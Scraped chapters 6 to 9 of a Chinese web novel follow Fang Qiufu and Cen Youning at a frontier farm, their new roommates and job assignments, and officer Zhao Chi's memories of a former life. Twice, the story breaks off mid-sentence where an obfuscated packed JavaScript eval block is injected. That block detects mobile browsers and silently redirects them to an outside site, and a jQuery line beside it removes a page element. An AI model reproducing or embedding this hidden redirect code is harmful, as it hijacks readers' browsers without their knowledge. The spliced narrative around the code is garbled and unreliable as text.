他穿了件洗到发白的粗布衫,领口敞开,胸肌胀鼓,双肩宽阔得像隔了道墙。 他的声音带着几分苍川口音,“哎?真的是个妹子。” 方秋芙目光越过他的肩膀,可惜被屋内冒头的几个青年挡住,那目光跟一头头野狼似的。 她问:“岑攸宁在吗?” 脆生生的话音刚落,岑攸宁冷脸拨开人群,“在,走吧。” 开门的精壮青年不乐意了,声音抬高几度,不免有些刺耳,“喂,介绍一下啊!护那么后面,你对象啊?” 房门口的几个青年跟着调侃,“就是就是,藏宝贝呢?” 岑攸宁眼尾扫过去,鸦羽长睫压下情绪,“不是对象,但和你们没关系。” 他运气不好,分到的宿舍只有他一个新来的知青,刚才被这群人夹枪带棒折腾了许久,再好的脾气也不耐烦了。 方秋芙猜到他肯定心中有气,下意识扯了扯他的袖子,担心初来第一天就闹出事,更怕岑攸宁就这么莫名结上梁子。 农场月黑风高,谁知道门关起来会发生什么? 再说那领头的像一拳能抡飞他! “我没事,别闹僵了,毕竟以后朝夕相处。”她用只有两人能听到的声音安慰,“来的路上你劝我的。” 若是硬要吃一顿打…… 方秋芙抬起脸,正视站在最前面的双开门青年,目光重点扫过他的手臂肌肉。 看起来好像真的会被锤飞到雪山顶上去诶! 不行,得救一下。 她忽而开口,“那就自我介绍一下,我叫方秋芙,也是今天新来的,你呢?” 她音色婉转,明明只是普通的自我介绍,偏偏落在这群生活单一的农场青年们耳畔,就莫名挠得人发痒。 岑攸宁微微蹙眉。 他明白她是在为自己解围,不禁懊悔方才太过冲动,一时间没处理好,反倒把她扯了进来。 领头的青年涨红了脸,被她主动回应的举动弄得没了气势,露出原本的少年心性来。 他又是望天,又是瞄地,唯独不敢将视线落在方秋芙脸上。 旁边几位也是差不多的反应。 他们在农场待了两年,每天忙着垦地除草喂猪施肥,哪里有机会和外面的姑娘们接触。 平时本来就没什么乐趣,最近几个月孙主任又不让打牌了,一周一次放风机会难得,劳动日他们只好在窝里闹,斗斗嘴,打打架,不敢真的做出骚扰女同志的事情来。 也就是欺负欺负岑攸宁新来,还不懂。 “咳咳!我我、叫唐、唐敬山……”他声音越磕绊越小,说到名字时就跟蚊子嗡嗡似的,“就是大大大大大山的山。” “什么?” 方秋芙其实听清楚了,却故意装成没听见,转头看向岑攸宁,微微挑眉,示意他赶紧英雄救英雄。 岑攸宁秒懂她的暗示,无奈接过话茬,“他是唐敬山,我室友。” 方秋芙发挥演技,做出一副原来如此的表情,轻轻点头,“你好,唐同志。” 唐敬山一改方才的态度,不好意思抠了抠脑袋,耳根泛红。 他本来和女同志接触就少,听见岑攸宁那句介绍,莫名觉得和眼前的姑娘拉近了距离,就更紧张了。 岑攸宁静静凝视着她。 她看起来好像什么都不懂,只是站在门口,唇边挂着礼貌又疏离的浅笑,就已经让人心头发烫。 可他深知方秋芙。 她很聪明,三言两语就看明白如今的处境。 岑攸宁叹了一口气,像是被室友们纠缠后的妥协,“好吧,原本是想着之后再介绍,这些都是我的室友,这位是……” 既然方秋芙选择用友好的一颦一笑化解冲突,他又岂能不配合? 不能让她白白费心思。 他开始逢迎这群话不投机的陌生青年,同时在心里不断告诫自我——他以后不能像刚才那样冲动了。 他忍,总好过让方秋芙替他解围。 现在他们什么都没有,不能沾惹麻烦,也不能特立独行。如此才能平安,平安才能活下来,活下来才能回家。 很简单的逻辑。 哪怕心里并不愿意,也要看不出端倪,给有心之人找不到错处。 岑攸宁隔着一米距离,看向亭亭玉立的方秋芙,脑海中闪过一个月前的画面,那时候她靠在他肩膀上哭得泪眼婆娑,闹着要回家,说死也要死在一起。 可如今,需要他沿途照看安抚哄睡的女孩,好像真的一夜之间长大了,还反过来照顾他。 明明应该很开心的。 为什么会觉得心底空空的呢? 7. 第 7 章 孙玉没听清“4号”宿舍门口的动静,她想着是方秋芙的朋友,就没跟着一起过去。等她回过神来时,方秋芙正在和几个毛头小子寒暄一些有的没的。 她下意识皱起眉头。 “喂!你们干嘛呢?” 她挤到人群,将她拦在自己身后,像只护崽的母鸡。 岑攸宁从刚才就注意到了门口的孙玉,见她动作,他不易察觉地放松了些许。 唐敬山下意识磕巴,“我、我我……” 孙玉见他们支支吾吾,暴脾气立马就上来了,“我先说啊,秋秋是我罩着的,你们不准欺负她。” 唐敬山他们被噎住话。 他们之前见过孙玉,都知道她是孙主任的宝贝心肝,没人想她对着呛。倒不是怕孙主任穿小鞋,而是这姑娘跟个炮仗似的,一点就炸,麻烦得很。 方秋芙朝着她摇摇头,“没什么,他们和我哥是室友,顺便认识一下。” 哥? 岑攸宁心口一颤。 微笑凝固在脸上,多年压抑的情绪在这瞬间轰然崩塌。 暮色正在一点点压下去,晚风带着凉意,从草丛里钻出,轻轻拂在颈后。 孙玉疑惑,“你刚不是说是你朋友吗?” 方秋芙解释道,“虽然不是亲生的,但是我俩和亲生的也没什么区别,从小一起长大,知根知底的。所以我想着在大家面前混个眼熟,都知道岑攸宁有个妹妹,我方秋芙有个哥哥。” 换言之,他们是共生一体。 别想趁谁落单,就肆意妄为。 “早说你有个那么漂亮的妹妹嘛!”人群中,突然有人开始和岑攸宁套近乎,“刚才在屋里那么闷,原来是在惦念妹子。” 另一人也朝他挤眉弄眼,“是啊,岑同志,刚才他开你玩笑的时候,我可是咱们宿舍第一个帮你回嘴的,你可得记着。” 唐敬山见状,有些心虚,他刚才也没少欺负岑攸宁。 话题可不能再继续下去了! 不能让室友妹妹觉得他是个欺负新人的流氓。 于是他强行挤出一个友好的笑容,朝着身后几个熟悉的兄弟,“好了好了,大家都别闹了,这都几点了?还吃不吃饭,洗不洗澡?早睡早起身体好!” 室友们:……大哥你谁啊。 唐敬山笑得像僵尸,“我是关心你们,吃饱饭才能劳动嘛,岑同志你看,我们宿舍风气一直都很好的,哈哈。” 他干笑两声。 岑攸宁的微笑早已淡去。 唐敬山见他不说话,顺势把手盖到岑攸宁肩膀上,一副哥俩好的模样,“你还没领东西吧,我陪你去?”他还不忘弄走竞争对手,“你们先去吃饭吧!别饿着了。” 岑攸宁默默将唐敬山伸过来的爪子甩开。 唐敬山的用意很明确,“走吧,对了!你妹妹也没领吧?” 岑攸宁差点就按捺不住脾气,想给他两拳,但想了想好像打不过,于是收了收戾气,改成用他们的语气回复。 他脱口而出一个“滚”! 听见他骂人,反倒让这群青年觉得对味了,看他的目光也没那么刺眼,颇有种认可的意味。 宿舍怎么能有沉默寡言不合群的人呢? 有的话,一定是还没放开本性! 唐敬山贱笑着想和他勾肩搭背,语气跟着亲昵不少,“嘿嘿,攸宁兄弟,我其实还是更关心你的啦!” 岑攸宁有点想吐。 “唐敬山你平时哪里那么好心!”其他室友也跟着打趣。 唐敬山总归还是一个二十岁不到的年轻人,脾性直来直去,没什么弯弯肠子。 他语气很坦荡,“我突然醒事,乐于助人不行啊?” 老家村口那些人不是总爱说,男人懂事就是一瞬间,他可能是找到他的一瞬间了。 岑攸宁没再管他,“走吧。” 方秋芙顺势抱住孙玉的手臂,没有再搭理,她的任务已经结束,成功让岑攸宁免于宿舍霸凌和挨打,真是美谈一件! “那我们也出发!早去早回。” 孙玉被她突然贴近,耳根一红,“嗯”了一声,也没说别的话。 岑攸宁眼尖注意到,有些疑惑。 你又在耳红什么? 其余几位根本没注意到孙玉的异常,他们见到唐敬山的积极性,男人血液里的劣根争□□神就冒出来了,谁也不肯落下风。 既然大家都想亲近新来的漂亮妹妹,哪里能让唐敬山一个人搞好关系? “我也去!” “今天天气不错,走走呗! “岑攸宁,杯子水桶那些玩意挺沉,你一个人不好拿,我帮你。” “刚好我也不饿,不着急吃饭,主要也怕岑同志找不到地方,再让唐敬山带歪来……” 乱七八糟的理由毫无技巧地砸上来,岑攸宁没拒绝,由着水搅浑,营造出其乐融融大家好的画面,也好过让某人生出错觉来。 一群人浩浩荡荡往仓库的方向走,孙玉和方秋芙走在最前面。 孙玉的脚步放得很慢。 她想着方秋芙今天刚到,怕是还没来得及熟悉环境,就顺便给她讲一讲农场的情况。 “那个是水房。” “食堂在前面右拐。” “小卖部有些东西还是要花钱。” 方秋芙已经从赵驰那里听了一遍,但又不想打击孙玉的热情,只好硬着头皮装成什么都不知道。 岑攸宁跟在她们两人后面,隔了一两米的位置。 唐敬山见状,鸡贼挤过来,趁后面的兄弟没注意到,他小声询问:“你妹妹处对象了吗?” “怎么?” 岑攸宁冷冷扫他一眼。 他有点忍不了了,挨一顿打就挨一顿吧,至少反抗了。 唐敬山被他变脸的速度吓了一跳,立刻改口,“我就问问嘛,你别来气儿啊,知道你有个放心尖尖上的妹妹,大家也能都照顾着,没别的意思。” 岑攸宁收回拳头,一副“我不信”的表情。 他脑海里还回荡着方秋芙的那句“这是我哥”。 其实她说的也没错。 他第一次见方秋芙时隔着医院的屏风,听母亲介绍说,“那是季姮阿姨的女儿,小名蓉蓉,她身体不好,生了治不好的病,你可不准欺负她!算算时间,你比她早出生三个月,以后要像哥哥一样好好照顾蓉蓉妹妹,好吗?” 这些年,他也始终如此。 如今,他们都与父母失了音讯,亲友只剩下彼此,未来注定要患难与共,相互照拂,好像理解成兄妹也无可厚非。 兄妹。 情深义重的两个字。 偏偏他觉得好残忍。 压抑得他快要喘不上气来。 “在青峰农场,像我这样讲义气的人其实不多,我看你挺投缘,刚才的事情是我们不对,其实宿舍里也没什么坏心眼的人,就是无聊互相找乐,他们都是直肠子,当然肯定没有我好,所以你也可以把我当成兄弟,以后你和你妹子……” 唐敬山沿途不断自夸自卖,还觉得他说得相当不经意。结果嘴皮子都快说破了,眼皮一转,发现岑攸宁压根没在听。 “喂!岑同志?岑攸宁!”他怒吼道。 岑攸宁从神游中挣脱,下意识先去看方秋芙,没想到径直撞上她关切的眼神。 方秋芙是真的怕他吃亏,“怎么了?” 岑攸宁摇摇头。 方秋芙没多想,继续和孙玉闲聊,误以为是他没休息好,不在状态。她想,幸好她下午眯了一会儿,否则现在多半也是灵魂出窍的状态。 岑攸宁跟着她的影子往前走。 月亮从云层里冒出头,天色却还未黑,两人的影子在地上拉得很长很长,很远很远。 唐敬山坚持不懈,继续在他耳边嗡嗡。 生活用品领取很顺利。 方秋芙签完名,柜台那头递来早早备好的棉絮和枕头,三件套的花色和布料可以挑选,木兰、牡丹、牵牛、茶花四选一,颜色大差不差。 “要哪个?”柜台的大婶懒得推销,反正都是公家进出,她就是个领死工资的,也赚不到钱,没必要费心费力费口水。 “木兰吧。” 大婶递给她一套。 孙玉也是今天报道,她想亲近方秋芙,于是她也要了木兰花。 方秋芙又去旁边领了一个水盆和一张毛巾,注意到岑攸宁正在排队挑选。 “好了,你签个字。”大婶递来一个本子。 敲定完手续,她正欲接过那床薄棉絮,就被唐敬山挤开。 肱二头肌的碰撞,差点把她顶飞到屋外! 方秋芙:? 唐敬山笑得讨好,显得有些谄媚,“太重了,我帮你拿点呗!不然我们几个空手来空手去,多不合适。” 方秋芙汗颜,我看你刚才的举动才不合适吧! 方秋芙当然不可能给他。 她主动与唐敬山他们介绍自己,一是怕岑攸宁太高冷挨毒打,二是想着万一投缘,也算是让他和他的室友们找到一个契机相识,能更快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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等到两人走到办公室,门口已经排起了数十人的队伍,她一眼就看见了人群中的岑攸宁。 夏日清晨,明朗又热闹。几只麻雀跳到老树的枝丫上,啾啾地叫。 微风送来一片青绿色树叶,落在两人中间,方秋芙主动朝他点了个头,没说话。 她和孙玉继续刚才的话题,岑攸宁也将目光从她身上挪开,与前后的人有一搭没一搭尬聊。 孙玉终于吞下最后一口馍馍,噎下去后才提到今天的重点,“我们要不先去看岗位分配?趁着人少。” “好。” 两人绕开队伍,去了另一侧,没有人注意到岑攸宁偏来的目光。 布告栏附近只有零星几个新人,大家同病相怜,脸上都挂着难以忽视的紧张感,像一群惊弓之鸟,警惕着一切。 见到她们两人走过来,他们火速退到一旁,小声讨论着。 他们都识字,却并不理解纸页上写的那些岗位代表了什么。 “牧场?都有什么动物啊?” “不知道,我是农田,是要去种啥啊?还是说挑粪……” “我也是农田,我连锄头都没见过,会有人教吗?” 孙玉望了他们一眼,吓得他们退得更远了。 她叹了口气,转身拉着方秋芙,在布告栏找他们的名字。 “我昨天问了孙进步,他死活不告诉我,我倒要看看给我分了个什么……” 方秋芙先一步找到了自己的名字,后面跟着“食堂”两字。 孙玉也找到了她的岗位,“我是牧场!太好了!” 方秋芙还在看。 隔了十几排,她终于看见了岑攸宁三个字,后面写着农田。 她有点不开心,还以为能在一起。 不过还好,岑攸宁很聪明,应该也会做得很好。 就在这时,她忽然听见有人在不远处叫孙玉的名字,语气还有带着些愠怒。 “孙玉!还不排队去□□件,在那儿扭啥呢扭!” 孙玉原本还在兴奋,听见带有血统克制的骂声,以最快的速度立正转身,一副被揪到小辫子的乖巧模样,“来了来了!” 方秋芙也下意识跟着转过去,却先一步撞上赵驰的脸。 他和孙主任并肩站在一起,背后依旧是那片槐树林,晨曦透过叶片,在他身上斑斑点点,明暗相错。 好巧,怎么是他? 还又是树下。 两次了。 8. 第 8 章 上一世,赵驰第一次见到方秋芙并不是在农场。 那是十月的一个傍晚。 驻地的军官没有任务在身时,每月有四天假。大多数人都喜欢去县城采办,或是约人下下馆子、打打牌,还有些会利用这段时间和附近医院、学校的女同志相亲,解决个人问题。 赵驰的领导们就希望他是后者,一到休假日就给他高强度介绍对象。 在驻地,单身的军官很少。 毕竟自古以来讲究的都是先成家后立业,部队不少长官们也认为,有了媳妇和娃,年轻人就会跟着踏实些,自然而然生出责任感来,也就不像那些个年轻的新兵蛋子,心思浮躁,没个正行。 赵驰拒绝了好几次。 首先,他觉得人靠不靠谱和婚配与否没关系。 扶不上墙的烂泥,根本不可能因为有了对象就硬成水泥,不拉着人家一起往下滑就不错了。 其次,他对结婚这件事实在没什么感觉,也没心思谈恋爱,更不想稀里糊涂相看一番,耽误别人姑娘家的正经姻缘。 可毕竟是领导们的一番心意,甚至连驻地司令员都掺了一脚,说要是他家生的是个闺女就好了,正好撮合到一起。 “这下倒好,之安是个不结婚的,你也不肯相亲,两个人都让我忧心得很!” 赵驰想到他那叛逆期迟迟到来的儿子,心想还是您老还是先别管婚姻问题了,赶紧操心一下那位的心理健康吧。 他总觉得傅之安发起疯来,好一点的情况,就是把一辈子都奉献给医疗事业,从此不闻窗外事;坏一点的情况,那就有点难以想象了……压抑久了,人总归是会做出匪夷所思的行为。 想到自己的个人问题。 拒绝不了,就只能找借口。 赵驰就选择不休假,在驻地帮着别人操练或是去别的队支援,总而言之就是忙得不可开交,抽不出时间去县城里会面。 后来被首长发觉心思,大家就把镜头转向了驻地的军医和家属学校的老师,这样压根不需要他请假去县城,便能就地安排,立地成婚,手续还简单些。 赵驰没了办法,只能选择溜之大吉,开跑! 那天,他心血来潮,决定去明镜湖走一走。 十月的明镜湖草滩枯黄,长长的芦苇在风里扑哧哧的响,偶尔有斑头雁掠过水面,留下荡漾的波纹,又迅速回归沉静水色。 夕阳时分,游人稀落。 他便是在那寂静肃穆的秋色中,见到了在芦丛呆坐的方秋芙。 她很瘦,侧脸看过去,白得像远处山顶的雪色。 日落对她并不算温柔,临近夜晚的风吹乱她额前的发丝,刮得她身上单薄的粗布衫呼啦作响,她却纹丝不动,像一截孤零枯萎的花枝,周身透着说不上来的惘然与疏离。 赵驰心底蓦然一动。 他鬼使神差走过去,平生第一次做出孟浪的搭讪行为。 “这里风大,怕是不安全,你怎么还一个人在这里?” 她先是睫毛微微一颤,好似没料到此处还有旁人。苍茫天地间,她缓缓转过头,语气平静又冷淡。 “这个世界上谁不是一个人?” 那画面算不上多么唯美,甚至有几分悲寂。 可他从此就是忘不掉了。 后来一番打听,他才知道她叫方秋芙,在青峰农场工作,也知道她原是沪市人,出身不太好,家里似乎也没有人了。 至于农场的那些社员,虽说不像金城那样,对出身标签人人喊打,但总归算不上热情,没什么人搭理她。 她就这么飘零在苍川。 在那样一个孤独的环境里,赵驰却记得,她有个朋友叫孙玉。 结婚时,孙玉是她唯一到场的亲友。 方秋芙死后,也只有孙玉出席了她的葬礼。 赵驰直到现在都还记得,下葬那日,孙玉冲到他面前,像个火炮似的指着他鼻子骂,“你说好了要护住她,照顾她,结果呢!才一年啊,一年啊!” 战友们来拦,都有些抵不住这姑娘的劲儿。 他挥挥手,由着她骂。 孙玉骂着骂着,忽然大声哭了起来,霹雳如火的人就这么哭倒在地上,也不骂赵驰了,一遍又一遍埋怨起了方秋芙,说她多么狠心,说走就走,就这么了无牵挂离开,把苍川的一切全部甩掉。 她最后是哭到被人送回农场的。 至真至义之人,讲起感情也至甚。 如今,赵驰见到方秋芙身边的短发女人,气质还不及多年后那样锐利,倒也算是和记忆里的人对上了脸。 原来她们那么早就认识了。 清晨的空气还掺杂着槐叶的涩味,办公室门口的人群早已排作长龙,在靠近树林的位置转了个弯。 孙玉拉着方秋芙跑到队尾,心有戚戚然,“坏了,孙进步肯定又要骂我,我这次真的没迟到!我挺积极的,你一会儿可得帮我解释。” “好。”方秋芙无奈道。 孙主任没再说什么,对子女的批评过犹不及,骂多了反而要叛逆。 他转过头继续与赵驰沟通,“是,牛棚肯定要重建的,现在农场就只有鸡棚和猪圈,牛羊养殖还是得跟上。你可能不知道,去年冬天冷得异常,一场大雪下来,牛和羊病得突然……” 两人迎着年轻人似有似无飘来的目光,从队伍的外侧绕开,正好要路过孙玉和方秋芙所在的位置。 待两人越来越近。 孙主任朝着孙玉投去一记眼刀。 他朝着女儿挤眉弄眼,就差拉下老脸求人:你这丫头能不能别做刺头!下次排队早点行不行?你这样让你爹很难做! 孙玉疯狂眨眼,传输“收到”。 赵驰也对上了方秋芙的目光。 她现在看上去气色还不错,但趁现在她身体还没恶化,最好还是尽快联系傅之安,找机会让他的导师看看方秋芙的病历。 他不想让上一世的情况重演。 还好,这次早了两年,应该还来记得,赵驰想。 两人对视无言。 肩膀交错,方秋芙淡淡望了他一眼。 赵驰被她看得一怔,思绪短暂空白,才转头和孙主任继续刚才的话题,“嗯,建设的事情团里会尽快派人过来,负责人的话……” 没人注意到他微微勾起的唇角。 临近七点,日光还未炽热,槐树林的蝉鸣也没奏响,晨曦间只有队伍压低的叽喳声。 望着赵驰远去的背影,方秋芙有些疑惑,“那位赵营长是住在这里吗?” 不然怎么这么早就已经在农场?算了算昨天提到的驻地距离,总不能是早晨五点就起床,一路披星戴月过来的吧? 孙玉也跟着眯眼打量,“以前没见过呢,奇怪。” 在苍川读高中的三年,她没事就来农场帮忙,社员基本都认识,也有几个眼熟的驻地军官,但都是陈班长那样的大叔。孙玉对人脸不至于过目不忘,但她如果真的见过赵驰那样的年轻帅哥,不可能没印象。 孙玉抠了抠头,再次确定道,“真没见过,可能是最近调过来的吧,听孙进步说,驻地好像决定翻修农场,大概是要过来盯建设?哎呀,我也不清楚。” 那还是个挺负责的人。 方秋芙默默想。 孙玉对凭空出现的军官根本不感兴趣,她嘴巴停不下来,又想到了下一个话题,“我分到了牧场,估计要么发配到猪圈,要么就是鸡棚,孙进步肯定要把我扔到最累的场子里,幸好我本身也喜欢!你呢?我刚本来在找你的名字,被孙进步打断了……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698861|189102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我是食堂。” “嗯?”孙玉疑惑,皱了皱眉,“食堂还要收新人的吗?哦,我知道了,肯定是这趟来了太多新人,他们人手不够用。” 方秋芙想了想昨天的晚餐。 青峰农场的食堂很简陋,木桌斑驳,凳子还有点磕屁股。优点是位置不错,离水房近,很多社员喜欢先把脸盆毛巾放到水房,吃完饭顺手就接回去。 至于餐食,自然也是大锅饭的做法。 昨夜是稠粥和蒸土豆,今早是玉米馍馍,口味实在算不上美味,但能吃饱,加上是公家拨款,众人也没道理苛责。 “食堂招人的话,你多半是过去帮忙刷刷盘子之类的吧,应该算是轻松的活计,就是工分可能少一点,孙进步抠得很。”孙玉努力回忆她记忆中的食堂,的确算是好工作,“那里面都是老社员了,年龄也比较大,不知道我爹把你安排过去的用意是什么。” 难道是看方秋芙瘦瘦一只,不太能挥动锄头? 不可能。 她爹没那么细心。 孙玉没机会深思,两人就已经排到了队伍最前列。 负责办理证件的是昨天的老会计,他打了个哈欠,见到是孙玉,有些幸灾乐祸,“你爹把你排猪圈去了,你知道吗?” 孙玉接过敲好章的小红本,“知道了!猪圈挺好啊,还能看猪吃饭呢,很治愈啊。”她等着身边人敲章确认,顺嘴就给老会计介绍,“钟叔叔,这是我室友,方秋芙。” 钟会计扶了下眼镜,眯眼打量。 他记得她,昨天签名时挨着一个写字漂亮的青年。 不过,现如今他对方秋芙的记忆要更特别一点。 今天早上六点钟,天刚亮,孙进步莫名其妙把他从被窝里抓出来,说没考虑到食堂的人手问题,让他选个新人过去。还不忘补充说明,“食堂工分低,最好选那种吊着一口气的,免得在田里累死麻烦得很。” 钟会计回忆了一下昨天的签到,脑海中马上浮现出方秋芙的形象。 那就她了。 孙玉还在替她打抱不平,“她被分到了食堂,好奇怪,你们是不是欺负新人?食堂那点工分也就够吃饭,等到冬天怕是新衣都裁不起一件!” 钟会计轻咳一声,白了孙玉一眼,“农场自有安排,还有你现在是社员了,注意一下称谓,别没大没小的!”他敲好章递过去,“来,小方同志,收好。” 方秋芙拿好她的农场证件,“谢谢。” 孙玉啧啧嘴,“好的钟叔叔,哦不,钟会计~”孙玉轻快的声音在身后响起,“那我俩就去报道了,孙进步也真是的,一天空闲时间都不给我们留。” 钟会计冷哼一声,“你咋不说还没劳动,被子枕头饭票都发给你们了呢!” “那难道不是应该的吗!总得先吃草才能挤-奶吧!” 钟会计懒得和她废话,“赶紧去干活,别以为我不知道你在想什么!休息时间还八字没一撇,现在正是农场用人的时候,别想偷懒!” “好叻好叻,我最勤劳了。” 孙玉拉着方秋芙往门外走,刚迈了没两步,就听见办公室的电话响了起来。 “叮铃、叮铃——” 孙玉脚步立即停了下来,她低声给方秋芙说:“那是我们农场唯一的电话。” “嗯。”方秋芙意识到了什么。 那厢,钟会计接起电话,脸色却越来越黑。 等到他挂断,他马上叫住孙玉,“你赶紧去找你爹!让他给赵营……不行,这么大事,我自己去!你赶紧去农田找张大队长过来守着。” 孙玉还想质疑几句,钟会计已经跑得没影。 现场其余的知青们也吓了一跳,纷纷议论起来。 发生了什么? 是电话里出事了吗? 9. 第 9 章 钟会计一溜烟跑得没影,离开时还能听见他常年没运动而发出的喘气声。 孙玉着急,又想起临时接受的任务,一把将刚才拿到的证件塞给方秋芙,“秋秋,你帮我拿着,我去找人!” 方秋芙点头,转眼间孙玉也溜了。 办公室门口挤满了一群懵逼的知青,他们低声嘀咕着,讨论声夹杂着疑问和担忧,似乎都在努力理解眼前的状况。 “什么情况?” “好像是出大事了吧!” “不会是要把我送回家吧?” “你在做什么美梦!怎么可能?” “……” 方秋芙还站在办公桌旁,手里捏着两本证件。她翻开自己那本,左侧照片栏空着,只写了名字,下面标注了“青峰农场-知青”,右侧则是她的季度工分,预留有好几张空白页。 “怎么了?” 岑攸宁不知道什么时候进了屋,站在她身侧。 方秋芙小声道,“钟会计接了个电话就出去了,好像是有什么事情要找那个赵营长,孙玉应该是去找别的负责人来处理我们。” 岑攸宁听见熟悉的名字,不禁蹙眉,“……又是赵营长。” 方秋芙终于找到一个懂她的同僚,把困扰在心中的疑惑说了出来。 “是吧!你不觉得很奇怪吗?他好像没住在农场,但今天到的特别早,你说他是不是压根就没睡觉啊?” 岑攸宁面色冷了下来,正要说什么,被旁边的陌生知青撞了一下,岔开了话语。 他下意识先护住方秋芙的肩膀,紧紧搂住她的肩膀,带着她往内侧站了过去。 办公室空间并不大。 见管事的人离开,大部分知青们都进了屋,堵在门口。人群中偶尔有几声惊呼或轻笑蹿出,又很快被低低窃语迅速吞没。 方秋芙和他肩膀抵着肩膀,缩在木桌一侧。 知青们还在小声讨论,眼睛和脖子都朝向屋外,没有人注意到角落的他们。 岑攸宁松开她,俯身靠近她的肩膀,“那个赵营长确实很奇怪,你离他远点。” 方秋芙闻到他身上淡淡的皂角味,因眼前突发状况而引发的紧张感消散不少。 她说话也放松了些,“为什么?他看着像好人……哎,不重要!我是想说他们这里的人都起好早,钟会计好像也是六点就起来了,以后我们也要这样?” 岑攸宁抿了抿唇,低头望向方秋芙。 她没再穿赶路的那件带领衬衣,换了件蓝色粗布短袖衫,头发用艳红色皮筋绑在耳后,几缕没扎进去的黑色碎发轻轻垂落在他的肩膀上,在干燥老旧的土坯屋顶下,依旧映出丝丝光泽。 他们呼吸混杂,咫尺距离。 她那双眼睛在混乱嘈杂之中,也显得格外亮晶晶,像是丝毫不在意此刻的落魄,内里还是那个喜欢倚靠在二楼雕花窗,将手帕砸到他头上,让他带她逃离“病房”的乐观主义大小姐。 她原本是一朵需要精心娇养的花。 一股前所未有的酸涩和无力感涌入岑攸宁的喉头。 “你不开心了吗?” 方秋芙的声音闷闷响起,压得很低。 她说了一大堆,也没听见岑攸宁回复,刚抬头就撞见他一副要哭的表情,如同她每次生病,朱妈和季姮照顾她那般,心疼之中又夹杂着无法替她受苦受罪的亏欠,仿佛下个呼吸,她就要脆弱得死掉了。 岑攸宁的眼眸泛起涟漪,唇动了动,“没有,我很开心。” 还能和你在一起,已经是苦涩里仅剩下的糖分了。 方秋芙习惯地用手指戳了下他的肩膀,“你撒谎。” 岑攸宁摇摇头,脸上已然没了方才的失神,恢复成平时的模样,“食堂的工作会不会很难?你那么笨,别切到手。” 方秋芙好笑道,“那已经是农场最简单的工作了,再者说我怎么可能去动刀子,你当人家是白痴?最多洗洗碗,淘淘菜吧,我看过朱妈做,不难。” “可朱妈以前都不让你碰。” “那是她觉得我帮忙反而是添乱!我只是不擅长,不代表我不会做。” “所以才担心你啊。” 岑攸宁的声音有些哑。 他抬手轻轻拨开缠在他肩膀上的发丝,细腻的触感在指腹流淌滑过。 方秋芙望见他那好看的手指,莫名委屈起来,“你还是先担心你自己吧,农田的活计可比食堂难多了,也不知道你顶不顶得住。” 她记忆里的岑攸宁不是在练琴就是在读书,清冷又安静。方秋芙想象了一下他踩着泥鞋,在田里插秧的画面,又忍不住低声笑起来。 “……” 岑攸宁察觉到她颤颤抖动的肩膀,没有戳破她脑子里的奇妙想象,也没问她怎么知道自己分到了哪里,正如刚才方秋芙也默认他早早了解她会去食堂工作。 他语气一如既往的温和,“种田就种田,慢慢跟着学就好了,老祖宗们干了那么多年,没道理我学不会。放心吧,不会给你丢脸的。” 方秋芙偏过头,握拳给他打气,“加油,毕竟大家都知道你是我哥哥了,要证明给他们看。而且你学东西一向很快,所以不管在哪里你都会是第一名!” 周围依旧喧闹,临近八点,暑夏的热气渐渐弥漫。 岑攸宁安静地站在她身侧,听她絮絮叨叨讲苍川很漂亮,食堂吃饭很便宜,室友们都很热情,水房锅炉里的洗澡水暖暖的,被子用料扎实盖得很舒服,一切也没有那么糟糕。 他的目光淡淡垂下,指尖却在衣袖里无声收紧。 “你有在听吗?岑攸宁!” 方秋芙变着法子安慰他,害怕他接受不了落差,可只听到他几声沉闷的“嗯”,一转头发现他虽然仍站得笔直,心思却不知道飞到哪里去了,连她戳了他两下都没注意到。 “在听,听到你说去食堂工分少,室友说你这样冬天做不起新衣服,但还好你聪明,藏了件羊毛衫……” 岑攸宁原封不动重述她的话语,脑海里却闪过去年新年时的画面。 方家别墅,壁炉的火焰噼啪作响,客厅里飘荡着燃烧的木香。方秋芙穿了一件雪白色羊毛大衣,长发披在耳后。她刚从二楼卧室走出,透过铁艺镂空栏杆见到楼下的他,立即快步走向别墅旋梯。 她的皮鞋在木板上发出嗒嗒声,嘴里也像现在这样叭叭不停。 “前年我住院没去成,不知道今年去城隍庙的人多不多?” “要是我抽出下下签怎么办?听说要绑在高处才能消灾!” “我要是爬树,朱妈肯定要说我。” “要不你把我抱起来,能不能够到庙里那颗玉桂?” “对了,你要许什么愿望?” 下一秒,她一不小心踩空,整个人毫无征兆就要从台阶跌落。 岑攸宁都不知道,他的身体竟然能比大脑的反应还要快,几乎是在第一时间迈开长腿,大步朝着她的方向奔去。 壁炉发出噼里啪啦声,木屑飞舞。 雪白色的一团身影离他越来越近。 耳边传来朱妈高亢的惊叫。 越来越近。 岑攸宁膝盖弯曲,张开双臂,接住迎面坠落的她。 “哎哟!” 接住了。 他手臂箍在她腰间,隔着厚实柔软的羊绒,亦能感受到怀里那具身体有多么轻盈。她像是怕极了,两只手紧紧环上他的肩,呼吸扑在他颈侧,发丝扫过他的下颌,带着微凉。 山茶花的香气覆面而来,铺天盖地。 岑攸宁喉结滚动,低低闷哼一声,腰背后知后觉传来她双腿攀附的温度,他眼前骤然空白,颅内炸开了烟花,立起某种突然而来的冲动。 他慌忙不已将她放在平地,转过身试图掩盖他的失控。 “吓死我了!”方秋芙心有余悸,没注意到他的羞赧异常,“要是扭伤了今年又出不了门……朱妈!我没事儿!别吓我妈!……妈!真没事啊~攸宁哥哥接住我了!别再去吓我爸了,我还活蹦乱跳的呢~马上准备 